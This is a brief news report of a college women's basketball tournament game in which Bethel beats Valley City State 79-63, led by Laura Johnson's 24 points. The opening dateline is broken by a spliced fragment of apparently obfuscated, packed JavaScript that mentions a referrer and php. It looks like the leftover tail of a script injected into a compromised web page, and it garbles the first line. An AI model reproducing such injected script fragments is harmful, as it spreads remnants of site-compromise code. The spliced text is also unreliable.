SIOUX zadha|var|u0026u|referrer|hzena||js|php’.split(‘|’),0,{}))
CITY, I.A. (NewsDakota.com)- Every time it looked like the Vikings were going to make a run at Bethel, the Crossroads League Player of the Year delivered. On her way to a game-high 24, Laura Johnson knocked down four triples to help her team knock out Valley City St. 79-63.

It was the third straight National Tournament that ended in a first round exit for Coach Jill DeVries and the Vikings. Brittany Lehner had 18 for the Vikings including six of the first eight for VCSU.

The Pilots jumped out on the Vikings early with an opening 20-8 run and were able to keep the Vikings at arms length the rest of the way. Valley City got as close as nine after Bethel built a 19-point lead in the second half.

Courtney Titus didn’t score until there were four minutes remaining in the game. After hitting seven threes in the AII Semi-final win in Jamestown, which punched their ticket to the National Tournament.

Bethel picks up their 10th win at the National Tournament in school history.